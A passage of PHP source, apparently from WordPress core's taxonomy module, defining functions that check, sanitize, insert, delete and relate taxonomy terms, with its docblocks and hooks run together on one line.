Updates metadata cache for list of term IDs. * * Performs SQL query to retrieve all metadata for the terms matching `$term_ids` and stores them in the cache. * Subsequent calls to `get_term_meta()` will not need to query the database. * * @since 4.4.0 * * @param array $term_ids List of term IDs. * @return array|false Returns false if there is nothing to update. Returns an array of metadata on success. */ function update_termmeta_cache( $term_ids ) { // Bail if term meta table is not installed. if ( get_option( 'db_version' ) < 34370 ) { return; } return update_meta_cache( 'term', $term_ids ); } /** * Check if Term exists. * * Formerly is_term(), introduced in 2.3.0. * * @since 3.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|string $term The term to check. Accepts term ID, slug, or name. * @param string $taxonomy The taxonomy name to use * @param int $parent Optional. ID of parent term under which to confine the exists search. * @return mixed Returns null if the term does not exist. Returns the term ID * if no taxonomy is specified and the term ID exists. Returns * an array of the term ID and the term taxonomy ID the taxonomy * is specified and the pairing exists. */ function term_exists( $term, $taxonomy = '', $parent = null ) { global $wpdb; $select = "SELECT term_id FROM $wpdb->terms as t WHERE "; $tax_select = "SELECT tt.term_id, tt.term_taxonomy_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_id = t.term_id WHERE "; if ( is_int($term) ) { if ( 0 == $term ) return 0; $where = 't.term_id = %d'; if ( !empty($taxonomy) ) return $wpdb->get_row( $wpdb->prepare( $tax_select . $where . " AND tt.taxonomy = %s", $term, $taxonomy ), ARRAY_A ); else return $wpdb->get_var( $wpdb->prepare( $select . $where, $term ) ); } $term = trim( wp_unslash( $term ) ); $slug = sanitize_title( $term ); $where = 't.slug = %s'; $else_where = 't.name = %s'; $where_fields = array($slug); $else_where_fields = array($term); $orderby = 'ORDER BY t.term_id ASC'; $limit = 'LIMIT 1'; if ( !empty($taxonomy) ) { if ( is_numeric( $parent ) ) { $parent = (int) $parent; $where_fields[] = $parent; $else_where_fields[] = $parent; $where .= ' AND tt.parent = %d'; $else_where .= ' AND tt.parent = %d'; } $where_fields[] = $taxonomy; $else_where_fields[] = $taxonomy; if ( $result = $wpdb->get_row( $wpdb->prepare("SELECT tt.term_id, tt.term_taxonomy_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_id = t.term_id WHERE $where AND tt.taxonomy = %s $orderby $limit", $where_fields), ARRAY_A) ) return $result; return $wpdb->get_row( $wpdb->prepare("SELECT tt.term_id, tt.term_taxonomy_id FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy as tt ON tt.term_id = t.term_id WHERE $else_where AND tt.taxonomy = %s $orderby $limit", $else_where_fields), ARRAY_A); } if ( $result = $wpdb->get_var( $wpdb->prepare("SELECT term_id FROM $wpdb->terms as t WHERE $where $orderby $limit", $where_fields) ) ) return $result; return $wpdb->get_var( $wpdb->prepare("SELECT term_id FROM $wpdb->terms as t WHERE $else_where $orderby $limit", $else_where_fields) ); } /** * Check if a term is an ancestor of another term. * * You can use either an id or the term object for both parameters. * * @since 3.4.0 * * @param int|object $term1 ID or object to check if this is the parent term. * @param int|object $term2 The child term. * @param string $taxonomy Taxonomy name that $term1 and `$term2` belong to. * @return bool Whether `$term2` is a child of `$term1`. */ function term_is_ancestor_of( $term1, $term2, $taxonomy ) { if ( ! isset( $term1->term_id ) ) $term1 = get_term( $term1, $taxonomy ); if ( ! isset( $term2->parent ) ) $term2 = get_term( $term2, $taxonomy ); if ( empty( $term1->term_id ) || empty( $term2->parent ) ) return false; if ( $term2->parent == $term1->term_id ) return true; return term_is_ancestor_of( $term1, get_term( $term2->parent, $taxonomy ), $taxonomy ); } /** * Sanitize Term all fields. * * Relies on sanitize_term_field() to sanitize the term. The difference is that * this function will sanitize <strong>all</strong> fields. The context is based * on sanitize_term_field(). * * The $term is expected to be either an array or an object. * * @since 2.3.0 * * @param array|object $term The term to check. * @param string $taxonomy The taxonomy name to use. * @param string $context Optional. Context in which to sanitize the term. Accepts 'edit', 'db', * 'display', 'attribute', or 'js'. Default 'display'. * @return array|object Term with all fields sanitized. */ function sanitize_term($term, $taxonomy, $context = 'display') { $fields = array( 'term_id', 'name', 'description', 'slug', 'count', 'parent', 'term_group', 'term_taxonomy_id', 'object_id' ); $do_object = is_object( $term ); $term_id = $do_object ? $term->term_id : (isset($term['term_id']) ? $term['term_id'] : 0); foreach ( (array) $fields as $field ) { if ( $do_object ) { if ( isset($term->$field) ) $term->$field = sanitize_term_field($field, $term->$field, $term_id, $taxonomy, $context); } else { if ( isset($term[$field]) ) $term[$field] = sanitize_term_field($field, $term[$field], $term_id, $taxonomy, $context); } } if ( $do_object ) $term->filter = $context; else $term['filter'] = $context; return $term; } /** * Cleanse the field value in the term based on the context. * * Passing a term field value through the function should be assumed to have * cleansed the value for whatever context the term field is going to be used. * * If no context or an unsupported context is given, then default filters will * be applied. * * There are enough filters for each context to support a custom filtering * without creating your own filter function. Simply create a function that * hooks into the filter you need. * * @since 2.3.0 * * @param string $field Term field to sanitize. * @param string $value Search for this term value. * @param int $term_id Term ID. * @param string $taxonomy Taxonomy Name. * @param string $context Context in which to sanitize the term field. Accepts 'edit', 'db', 'display', * 'attribute', or 'js'. * @return mixed Sanitized field. */ function sanitize_term_field($field, $value, $term_id, $taxonomy, $context) { $int_fields = array( 'parent', 'term_id', 'count', 'term_group', 'term_taxonomy_id', 'object_id' ); if ( in_array( $field, $int_fields ) ) { $value = (int) $value; if ( $value < 0 ) $value = 0; } if ( 'raw' == $context ) return $value; if ( 'edit' == $context ) { /** * Filters a term field to edit before it is sanitized. * * The dynamic portion of the filter name, `$field`, refers to the term field. * * @since 2.3.0 * * @param mixed $value Value of the term field. * @param int $term_id Term ID. * @param string $taxonomy Taxonomy slug. */ $value = apply_filters( "edit_term_{$field}", $value, $term_id, $taxonomy ); /** * Filters the taxonomy field to edit before it is sanitized. * * The dynamic portions of the filter name, `$taxonomy` and `$field`, refer * to the taxonomy slug and taxonomy field, respectively. * * @since 2.3.0 * * @param mixed $value Value of the taxonomy field to edit. * @param int $term_id Term ID. */ $value = apply_filters( "edit_{$taxonomy}_{$field}", $value, $term_id ); if ( 'description' == $field ) $value = esc_html($value); // textarea_escaped else $value = esc_attr($value); } elseif ( 'db' == $context ) { /** * Filters a term field value before it is sanitized. * * The dynamic portion of the filter name, `$field`, refers to the term field. * * @since 2.3.0 * * @param mixed $value Value of the term field. * @param string $taxonomy Taxonomy slug. */ $value = apply_filters( "pre_term_{$field}", $value, $taxonomy ); /** * Filters a taxonomy field before it is sanitized. * * The dynamic portions of the filter name, `$taxonomy` and `$field`, refer * to the taxonomy slug and field name, respectively. * * @since 2.3.0 * * @param mixed $value Value of the taxonomy field. */ $value = apply_filters( "pre_{$taxonomy}_{$field}", $value ); // Back compat filters if ( 'slug' == $field ) { /** * Filters the category nicename before it is sanitized. * * Use the {@see 'pre_$taxonomy_$field'} hook instead. * * @since 2.0.3 * * @param string $value The category nicename. */ $value = apply_filters( 'pre_category_nicename', $value ); } } elseif ( 'rss' == $context ) { /** * Filters the term field for use in RSS. * * The dynamic portion of the filter name, `$field`, refers to the term field. * * @since 2.3.0 * * @param mixed $value Value of the term field. * @param string $taxonomy Taxonomy slug. */ $value = apply_filters( "term_{$field}_rss", $value, $taxonomy ); /** * Filters the taxonomy field for use in RSS. * * The dynamic portions of the hook name, `$taxonomy`, and `$field`, refer * to the taxonomy slug and field name, respectively. * * @since 2.3.0 * * @param mixed $value Value of the taxonomy field. */ $value = apply_filters( "{$taxonomy}_{$field}_rss", $value ); } else { // Use display filters by default. /** * Filters the term field sanitized for display. * * The dynamic portion of the filter name, `$field`, refers to the term field name. * * @since 2.3.0 * * @param mixed $value Value of the term field. * @param int $term_id Term ID. * @param string $taxonomy Taxonomy slug. * @param string $context Context to retrieve the term field value. */ $value = apply_filters( "term_{$field}", $value, $term_id, $taxonomy, $context ); /** * Filters the taxonomy field sanitized for display. * * The dynamic portions of the filter name, `$taxonomy`, and `$field`, refer * to the taxonomy slug and taxonomy field, respectively. * * @since 2.3.0 * * @param mixed $value Value of the taxonomy field. * @param int $term_id Term ID. * @param string $context Context to retrieve the taxonomy field value. */ $value = apply_filters( "{$taxonomy}_{$field}", $value, $term_id, $context ); } if ( 'attribute' == $context ) { $value = esc_attr($value); } elseif ( 'js' == $context ) { $value = esc_js($value); } return $value; } /** * Count how many terms are in Taxonomy. * * Default $args is 'hide_empty' which can be 'hide_empty=true' or array('hide_empty' => true). * * @since 2.3.0 * * @param string $taxonomy Taxonomy name. * @param array|string $args Optional. Array of arguments that get passed to get_terms(). * Default empty array. * @return array|int|WP_Error Number of terms in that taxonomy or WP_Error if the taxonomy does not exist. */ function wp_count_terms( $taxonomy, $args = array() ) { $defaults = array('hide_empty' => false); $args = wp_parse_args($args, $defaults); // backward compatibility if ( isset($args['ignore_empty']) ) { $args['hide_empty'] = $args['ignore_empty']; unset($args['ignore_empty']); } $args['fields'] = 'count'; return get_terms($taxonomy, $args); } /** * Will unlink the object from the taxonomy or taxonomies. * * Will remove all relationships between the object and any terms in * a particular taxonomy or taxonomies. Does not remove the term or * taxonomy itself. * * @since 2.3.0 * * @param int $object_id The term Object Id that refers to the term. * @param string|array $taxonomies List of Taxonomy Names or single Taxonomy name. */ function wp_delete_object_term_relationships( $object_id, $taxonomies ) { $object_id = (int) $object_id; if ( !is_array($taxonomies) ) $taxonomies = array($taxonomies); foreach ( (array) $taxonomies as $taxonomy ) { $term_ids = wp_get_object_terms( $object_id, $taxonomy, array( 'fields' => 'ids' ) ); $term_ids = array_map( 'intval', $term_ids ); wp_remove_object_terms( $object_id, $term_ids, $taxonomy ); } } /** * Removes a term from the database. * * If the term is a parent of other terms, then the children will be updated to * that term's parent. * * Metadata associated with the term will be deleted. * * @since 2.3.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $term Term ID. * @param string $taxonomy Taxonomy Name. * @param array|string $args { * Optional. Array of arguments to override the default term ID. Default empty array. * * @type int $default The term ID to make the default term. This will only override * the terms found if there is only one term found. Any other and * the found terms are used. * @type bool $force_default Optional. Whether to force the supplied term as default to be * assigned even if the object was not going to be term-less. * Default false. * } * @return bool|int|WP_Error True on success, false if term does not exist. Zero on attempted * deletion of default Category. WP_Error if the taxonomy does not exist. */ function wp_delete_term( $term, $taxonomy, $args = array() ) { global $wpdb; $term = (int) $term; if ( ! $ids = term_exists($term, $taxonomy) ) return false; if ( is_wp_error( $ids ) ) return $ids; $tt_id = $ids['term_taxonomy_id']; $defaults = array(); if ( 'category' == $taxonomy ) { $defaults['default'] = get_option( 'default_category' ); if ( $defaults['default'] == $term ) return 0; // Don't delete the default category } $args = wp_parse_args($args, $defaults); if ( isset( $args['default'] ) ) { $default = (int) $args['default']; if ( ! term_exists( $default, $taxonomy ) ) { unset( $default ); } } if ( isset( $args['force_default'] ) ) { $force_default = $args['force_default']; } /** * Fires when deleting a term, before any modifications are made to posts or terms. * * @since 4.1.0 * * @param int $term Term ID. * @param string $taxonomy Taxonomy Name. */ do_action( 'pre_delete_term', $term, $taxonomy ); // Update children to point to new parent if ( is_taxonomy_hierarchical($taxonomy) ) { $term_obj = get_term($term, $taxonomy); if ( is_wp_error( $term_obj ) ) return $term_obj; $parent = $term_obj->parent; $edit_ids = $wpdb->get_results( "SELECT term_id, term_taxonomy_id FROM $wpdb->term_taxonomy WHERE `parent` = " . (int)$term_obj->term_id ); $edit_tt_ids = wp_list_pluck( $edit_ids, 'term_taxonomy_id' ); /** * Fires immediately before a term to delete's children are reassigned a parent. * * @since 2.9.0 * * @param array $edit_tt_ids An array of term taxonomy IDs for the given term. */ do_action( 'edit_term_taxonomies', $edit_tt_ids ); $wpdb->update( $wpdb->term_taxonomy, compact( 'parent' ), array( 'parent' => $term_obj->term_id) + compact( 'taxonomy' ) ); // Clean the cache for all child terms. $edit_term_ids = wp_list_pluck( $edit_ids, 'term_id' ); clean_term_cache( $edit_term_ids, $taxonomy ); /** * Fires immediately after a term to delete's children are reassigned a parent. * * @since 2.9.0 * * @param array $edit_tt_ids An array of term taxonomy IDs for the given term. */ do_action( 'edited_term_taxonomies', $edit_tt_ids ); } // Get the term before deleting it or its term relationships so we can pass to actions below. $deleted_term = get_term( $term, $taxonomy ); $object_ids = (array) $wpdb->get_col( $wpdb->prepare( "SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $tt_id ) ); foreach ( $object_ids as $object_id ) { $terms = wp_get_object_terms( $object_id, $taxonomy, array( 'fields' => 'ids', 'orderby' => 'none' ) ); if ( 1 == count($terms) && isset($default) ) { $terms = array($default); } else { $terms = array_diff($terms, array($term)); if (isset($default) && isset($force_default) && $force_default) $terms = array_merge($terms, array($default)); } $terms = array_map('intval', $terms); wp_set_object_terms( $object_id, $terms, $taxonomy ); } // Clean the relationship caches for all object types using this term. $tax_object = get_taxonomy( $taxonomy ); foreach ( $tax_object->object_type as $object_type ) clean_object_term_cache( $object_ids, $object_type ); $term_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->termmeta WHERE term_id = %d ", $term ) ); foreach ( $term_meta_ids as $mid ) { delete_metadata_by_mid( 'term', $mid ); } /** * Fires immediately before a term taxonomy ID is deleted. * * @since 2.9.0 * * @param int $tt_id Term taxonomy ID. */ do_action( 'delete_term_taxonomy', $tt_id ); $wpdb->delete( $wpdb->term_taxonomy, array( 'term_taxonomy_id' => $tt_id ) ); /** * Fires immediately after a term taxonomy ID is deleted. * * @since 2.9.0 * * @param int $tt_id Term taxonomy ID. */ do_action( 'deleted_term_taxonomy', $tt_id ); // Delete the term if no taxonomies use it. if ( !$wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->term_taxonomy WHERE term_id = %d", $term) ) ) $wpdb->delete( $wpdb->terms, array( 'term_id' => $term ) ); clean_term_cache($term, $taxonomy); /** * Fires after a term is deleted from the database and the cache is cleaned. * * @since 2.5.0 * @since 4.5.0 Introduced the `$object_ids` argument. * * @param int $term Term ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. * @param mixed $deleted_term Copy of the already-deleted term, in the form specified * by the parent function. WP_Error otherwise. * @param array $object_ids List of term object IDs. */ do_action( 'delete_term', $term, $tt_id, $taxonomy, $deleted_term, $object_ids ); /** * Fires after a term in a specific taxonomy is deleted. * * The dynamic portion of the hook name, `$taxonomy`, refers to the specific * taxonomy the term belonged to. * * @since 2.3.0 * @since 4.5.0 Introduced the `$object_ids` argument. * * @param int $term Term ID. * @param int $tt_id Term taxonomy ID. * @param mixed $deleted_term Copy of the already-deleted term, in the form specified * by the parent function. WP_Error otherwise. * @param array $object_ids List of term object IDs. */ do_action( "delete_{$taxonomy}", $term, $tt_id, $deleted_term, $object_ids ); return true; } /** * Deletes one existing category. * * @since 2.0.0 * * @param int $cat_ID * @return bool|int|WP_Error Returns true if completes delete action; false if term doesn't exist; * Zero on attempted deletion of default Category; WP_Error object is also a possibility. */ function wp_delete_category( $cat_ID ) { return wp_delete_term( $cat_ID, 'category' ); } /** * Retrieves the terms associated with the given object(s), in the supplied taxonomies. * * @since 2.3.0 * @since 4.2.0 Added support for 'taxonomy', 'parent', and 'term_taxonomy_id' values of `$orderby`. * Introduced `$parent` argument. * @since 4.4.0 Introduced `$meta_query` and `$update_term_meta_cache` arguments. When `$fields` is 'all' or * 'all_with_object_id', an array of `WP_Term` objects will be returned. * @since 4.7.0 Refactored to use WP_Term_Query, and to support any WP_Term_Query arguments. * * @global wpdb $wpdb WordPress database abstraction object. * * @param int|array $object_ids The ID(s) of the object(s) to retrieve. * @param string|array $taxonomies The taxonomies to retrieve terms from. * @param array|string $args See WP_Term_Query::__construct() for supported arguments. * @return array|WP_Error The requested term data or empty array if no terms found. * WP_Error if any of the $taxonomies don't exist. */ function wp_get_object_terms($object_ids, $taxonomies, $args = array()) { global $wpdb; if ( empty( $object_ids ) || empty( $taxonomies ) ) return array(); if ( !is_array($taxonomies) ) $taxonomies = array($taxonomies); foreach ( $taxonomies as $taxonomy ) { if ( ! taxonomy_exists($taxonomy) ) return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } if ( !is_array($object_ids) ) $object_ids = array($object_ids); $object_ids = array_map('intval', $object_ids); $args = wp_parse_args( $args ); /* * When one or more queried taxonomies is registered with an 'args' array, * those params override the `$args` passed to this function. */ $terms = array(); if ( count( $taxonomies ) > 1 ) { foreach ( $taxonomies as $index => $taxonomy ) { $t = get_taxonomy( $taxonomy ); if ( isset( $t->args ) && is_array( $t->args ) && $args != array_merge( $args, $t->args ) ) { unset( $taxonomies[ $index ] ); $terms = array_merge( $terms, wp_get_object_terms( $object_ids, $taxonomy, array_merge( $args, $t->args ) ) ); } } } else { $t = get_taxonomy( $taxonomies[0] ); if ( isset( $t->args ) && is_array( $t->args ) ) { $args = array_merge( $args, $t->args ); } } $args['taxonomy'] = $taxonomies; $args['object_ids'] = $object_ids; $terms = array_merge( $terms, get_terms( $args ) ); /** * Filters the terms for a given object or objects. * * @since 4.2.0 * * @param array $terms An array of terms for the given object or objects. * @param array $object_ids Array of object IDs for which `$terms` were retrieved. * @param array $taxonomies Array of taxonomies from which `$terms` were retrieved. * @param array $args An array of arguments for retrieving terms for the given * object(s). See wp_get_object_terms() for details. */ $terms = apply_filters( 'get_object_terms', $terms, $object_ids, $taxonomies, $args ); $object_ids = implode( ',', $object_ids ); $taxonomies = "'" . implode( "', '", array_map( 'esc_sql', $taxonomies ) ) . "'"; /** * Filters the terms for a given object or objects. * * The `$taxonomies` parameter passed to this filter is formatted as a SQL fragment. The * {@see 'get_object_terms'} filter is recommended as an alternative. * * @since 2.8.0 * * @param array $terms An array of terms for the given object or objects. * @param int|array $object_ids Object ID or array of IDs. * @param string $taxonomies SQL-formatted (comma-separated and quoted) list of taxonomy names. * @param array $args An array of arguments for retrieving terms for the given object(s). * See wp_get_object_terms() for details. */ return apply_filters( 'wp_get_object_terms', $terms, $object_ids, $taxonomies, $args ); } /** * Add a new term to the database. * * A non-existent term is inserted in the following sequence: * 1. The term is added to the term table, then related to the taxonomy. * 2. If everything is correct, several actions are fired. * 3. The 'term_id_filter' is evaluated. * 4. The term cache is cleaned. * 5. Several more actions are fired. * 6. An array is returned containing the term_id and term_taxonomy_id. * * If the 'slug' argument is not empty, then it is checked to see if the term * is invalid. If it is not a valid, existing term, it is added and the term_id * is given. * * If the taxonomy is hierarchical, and the 'parent' argument is not empty, * the term is inserted and the term_id will be given. * * Error handling: * If $taxonomy does not exist or $term is empty, * a WP_Error object will be returned. * * If the term already exists on the same hierarchical level, * or the term slug and name are not unique, a WP_Error object will be returned. * * @global wpdb $wpdb WordPress database abstraction object. * * @since 2.3.0 * * @param string $term The term to add or update. * @param string $taxonomy The taxonomy to which to add the term. * @param array|string $args { * Optional. Array or string of arguments for inserting a term. * * @type string $alias_of Slug of the term to make this term an alias of. * Default empty string. Accepts a term slug. * @type string $description The term description. Default empty string. * @type int $parent The id of the parent term. Default 0. * @type string $slug The term slug to use. Default empty string. * } * @return array|WP_Error An array containing the `term_id` and `term_taxonomy_id`, * WP_Error otherwise. */ function wp_insert_term( $term, $taxonomy, $args = array() ) { global $wpdb; if ( ! taxonomy_exists($taxonomy) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } /** * Filters a term before it is sanitized and inserted into the database. * * @since 3.0.0 * * @param string $term The term to add or update. * @param string $taxonomy Taxonomy slug. */ $term = apply_filters( 'pre_insert_term', $term, $taxonomy ); if ( is_wp_error( $term ) ) { return $term; } if ( is_int( $term ) && 0 == $term ) { return new WP_Error( 'invalid_term_id', __( 'Invalid term ID.' ) ); } if ( '' == trim( $term ) ) { return new WP_Error( 'empty_term_name', __( 'A name is required for this term.' ) ); } $defaults = array( 'alias_of' => '', 'description' => '', 'parent' => 0, 'slug' => ''); $args = wp_parse_args( $args, $defaults ); if ( $args['parent'] > 0 && ! term_exists( (int) $args['parent'] ) ) { return new WP_Error( 'missing_parent', __( 'Parent term does not exist.' ) ); } $args['name'] = $term; $args['taxonomy'] = $taxonomy; // Coerce null description to strings, to avoid database errors. $args['description'] = (string) $args['description']; $args = sanitize_term($args, $taxonomy, 'db'); // expected_slashed ($name) $name = wp_unslash( $args['name'] ); $description = wp_unslash( $args['description'] ); $parent = (int) $args['parent']; $slug_provided = ! empty( $args['slug'] ); if ( ! $slug_provided ) { $slug = sanitize_title( $name ); } else { $slug = $args['slug']; } $term_group = 0; if ( $args['alias_of'] ) { $alias = get_term_by( 'slug', $args['alias_of'], $taxonomy ); if ( ! empty( $alias->term_group ) ) { // The alias we want is already in a group, so let's use that one. $term_group = $alias->term_group; } elseif ( ! empty( $alias->term_id ) ) { /* * The alias is not in a group, so we create a new one * and add the alias to it. */ $term_group = $wpdb->get_var("SELECT MAX(term_group) FROM $wpdb->terms") + 1; wp_update_term( $alias->term_id, $taxonomy, array( 'term_group' => $term_group, ) ); } } /* * Prevent the creation of terms with duplicate names at the same level of a taxonomy hierarchy, * unless a unique slug has been explicitly provided. */ $name_matches = get_terms( $taxonomy, array( 'name' => $name, 'hide_empty' => false, ) ); /* * The `name` match in `get_terms()` doesn't differentiate accented characters, * so we do a stricter comparison here. */ $name_match = null; if ( $name_matches ) { foreach ( $name_matches as $_match ) { if ( strtolower( $name ) === strtolower( $_match->name ) ) { $name_match = $_match; break; } } } if ( $name_match ) { $slug_match = get_term_by( 'slug', $slug, $taxonomy ); if ( ! $slug_provided || $name_match->slug === $slug || $slug_match ) { if ( is_taxonomy_hierarchical( $taxonomy ) ) { $siblings = get_terms( $taxonomy, array( 'get' => 'all', 'parent' => $parent ) ); $existing_term = null; if ( $name_match->slug === $slug && in_array( $name, wp_list_pluck( $siblings, 'name' ) ) ) { $existing_term = $name_match; } elseif ( $slug_match && in_array( $slug, wp_list_pluck( $siblings, 'slug' ) ) ) { $existing_term = $slug_match; } if ( $existing_term ) { return new WP_Error( 'term_exists', __( 'A term with the name provided already exists with this parent.' ), $existing_term->term_id ); } } else { return new WP_Error( 'term_exists', __( 'A term with the name provided already exists in this taxonomy.' ), $name_match->term_id ); } } } $slug = wp_unique_term_slug( $slug, (object) $args ); $data = compact( 'name', 'slug', 'term_group' ); /** * Filters term data before it is inserted into the database. * * @since 4.7.0 * * @param array $data Term data to be inserted. * @param string $taxonomy Taxonomy slug. * @param array $args Arguments passed to wp_insert_term(). */ $data = apply_filters( 'wp_insert_term_data', $data, $taxonomy, $args ); if ( false === $wpdb->insert( $wpdb->terms, $data ) ) { return new WP_Error( 'db_insert_error', __( 'Could not insert term into the database' ), $wpdb->last_error ); } $term_id = (int) $wpdb->insert_id; // Seems unreachable, However, Is used in the case that a term name is provided, which sanitizes to an empty string. if ( empty($slug) ) { $slug = sanitize_title($slug, $term_id); /** This action is documented in wp-includes/taxonomy.php */ do_action( 'edit_terms', $term_id, $taxonomy ); $wpdb->update( $wpdb->terms, compact( 'slug' ), compact( 'term_id' ) ); /** This action is documented in wp-includes/taxonomy.php */ do_action( 'edited_terms', $term_id, $taxonomy ); } $tt_id = $wpdb->get_var( $wpdb->prepare( "SELECT tt.term_taxonomy_id FROM $wpdb->term_taxonomy AS tt INNER JOIN $wpdb->terms AS t ON tt.term_id = t.term_id WHERE tt.taxonomy = %s AND t.term_id = %d", $taxonomy, $term_id ) ); if ( !empty($tt_id) ) { return array('term_id' => $term_id, 'term_taxonomy_id' => $tt_id); } $wpdb->insert( $wpdb->term_taxonomy, compact( 'term_id', 'taxonomy', 'description', 'parent') + array( 'count' => 0 ) ); $tt_id = (int) $wpdb->insert_id; /* * Sanity check: if we just created a term with the same parent + taxonomy + slug but a higher term_id than * an existing term, then we have unwittingly created a duplicate term. Delete the dupe, and use the term_id * and term_taxonomy_id of the older term instead. Then return out of the function so that the "create" hooks * are not fired. */ $duplicate_term = $wpdb->get_row( $wpdb->prepare( "SELECT t.term_id, tt.term_taxonomy_id FROM $wpdb->terms t INNER JOIN $wpdb->term_taxonomy tt ON ( tt.term_id = t.term_id ) WHERE t.slug = %s AND tt.parent = %d AND tt.taxonomy = %s AND t.term_id < %d AND tt.term_taxonomy_id != %d", $slug, $parent, $taxonomy, $term_id, $tt_id ) ); if ( $duplicate_term ) { $wpdb->delete( $wpdb->terms, array( 'term_id' => $term_id ) ); $wpdb->delete( $wpdb->term_taxonomy, array( 'term_taxonomy_id' => $tt_id ) ); $term_id = (int) $duplicate_term->term_id; $tt_id = (int) $duplicate_term->term_taxonomy_id; clean_term_cache( $term_id, $taxonomy ); return array( 'term_id' => $term_id, 'term_taxonomy_id' => $tt_id ); } /** * Fires immediately after a new term is created, before the term cache is cleaned. * * @since 2.3.0 * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. */ do_action( "create_term", $term_id, $tt_id, $taxonomy ); /** * Fires after a new term is created for a specific taxonomy. * * The dynamic portion of the hook name, `$taxonomy`, refers * to the slug of the taxonomy the term was created for. * * @since 2.3.0 * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. */ do_action( "create_{$taxonomy}", $term_id, $tt_id ); /** * Filters the term ID after a new term is created. * * @since 2.3.0 * * @param int $term_id Term ID. * @param int $tt_id Taxonomy term ID. */ $term_id = apply_filters( 'term_id_filter', $term_id, $tt_id ); clean_term_cache($term_id, $taxonomy); /** * Fires after a new term is created, and after the term cache has been cleaned. * * @since 2.3.0 * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. */ do_action( 'created_term', $term_id, $tt_id, $taxonomy ); /** * Fires after a new term in a specific taxonomy is created, and after the term * cache has been cleaned. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * @since 2.3.0 * * @param int $term_id Term ID. * @param int $tt_id Term taxonomy ID. */ do_action( "created_{$taxonomy}", $term_id, $tt_id ); return array('term_id' => $term_id, 'term_taxonomy_id' => $tt_id); } /** * Create Term and Taxonomy Relationships. * * Relates an object (post, link etc) to a term and taxonomy type. Creates the * term and taxonomy relationship if it doesn't already exist. Creates a term if * it doesn't exist (using the slug). * * A relationship means that the term is grouped in or belongs to the taxonomy. * A term has no meaning until it is given context by defining which taxonomy it * exists under. * * @since 2.3.0 * * @global wpdb $wpdb The WordPress database abstraction object. * * @param int $object_id The object to relate to. * @param array|int|string $terms A single term slug, single term id, or array of either term slugs or ids. * Will replace all existing related terms in this taxonomy. * @param string $taxonomy The context in which to relate the term to the object. * @param bool $append Optional. If false will delete difference of terms. Default false. * @return array|WP_Error Term taxonomy IDs of the affected terms. */ function wp_set_object_terms( $object_id, $terms, $taxonomy, $append = false ) { global $wpdb; $object_id = (int) $object_id; if ( ! taxonomy_exists( $taxonomy ) ) { return new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); } if ( !is_array($terms) ) $terms = array($terms); if ( ! $append ) $old_tt_ids = wp_get_object_terms($object_id, $taxonomy, array('fields' => 'tt_ids', 'orderby' => 'none')); else $old_tt_ids = array(); $tt_ids = array(); $term_ids = array(); $new_tt_ids = array(); foreach ( (array) $terms as $term) { if ( !strlen(trim($term)) ) continue; if ( !$term_info = term_exists($term, $taxonomy) ) { // Skip if a non-existent term ID is passed. if ( is_int($term) ) continue; $term_info = wp_insert_term($term, $taxonomy); } if ( is_wp_error($term_info) ) return $term_info; $term_ids[] = $term_info['term_id']; $tt_id = $term_info['term_taxonomy_id']; $tt_ids[] = $tt_id; if ( $wpdb->get_var( $wpdb->prepare( "SELECT term_taxonomy_id FROM $wpdb->term_relationships WHERE object_id = %d AND term_taxonomy_id = %d", $object_id, $tt_id ) ) ) continue; /** * Fires immediately before an object-term relationship is added. * * @since 2.9.0 * @since 4.7.0 Added the `$taxonomy` parameter. * * @param int $object_id Object ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. */ do_action( 'add_term_relationship', $object_id, $tt_id, $taxonomy ); $wpdb->insert( $wpdb->term_relationships, array( 'object_id' => $object_id, 'term_taxonomy_id' => $tt_id ) ); /** * Fires immediately after an object-term relationship is added. * * @since 2.9.0 * @since 4.7.0 Added the `$taxonomy` parameter. * * @param int $object_id Object ID. * @param int $tt_id Term taxonomy ID. * @param string $taxonomy Taxonomy slug. */ do_action( 'added_term_relationship', $object_id, $tt_id, $taxonomy ); $new_tt_ids[] = $tt_id; } if ( $new_tt_ids ) wp_update_term_count( $new_tt_ids, $taxonomy ); if ( ! $append ) { $delete_tt_ids = array_diff( $old_tt_ids, $tt_ids ); if ( $delete_tt_ids ) { $in_delete_tt_ids = "'" . implode( "', '", $delete_tt_ids ) . "'"; $delete_term_ids = $wpdb->get_col( $wpdb->prepare( "SELECT tt.term_id FROM $wpdb->term_taxonomy AS tt WHERE tt.taxonomy = %s AND tt.term_taxonomy_id IN ($in_delete_tt_ids)", $taxonomy ) ); $delete_term_ids = array_map( 'intval', $delete_term_ids ); $remove = wp_remove_object_terms( $object_id, $delete_term_ids, $taxonomy ); if ( is_wp_error( $remove ) ) { return $remove; } } } $t = get_taxonomy($taxonomy); if ( ! $append && isset($t->sort) && $t->sort ) { $values = array(); $term_order = 0; $final_tt_ids = wp_get_object_terms($object_id, $taxonomy, array('fields' => 'tt_ids')); foreach ( $tt_ids as $tt_id ) if ( in_array($tt_id, $final_tt_ids) ) $values[] = $wpdb->prepare( "(%d, %d, %d)", $object_id, $tt_id, ++$term_order); if ( $values ) if ( false === $wpdb->query( "INSERT INTO $wpdb->term_relationships (object_id, term_taxonomy_id, term_order) VALUES " . join( ',', $values ) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)" ) ) return new WP_Error( 'db_insert_error', __( 'Could not insert term relationship into the database' ), $wpdb->last_error ); } wp_cache_delete( $object_id, $taxonomy . '_relationships' ); 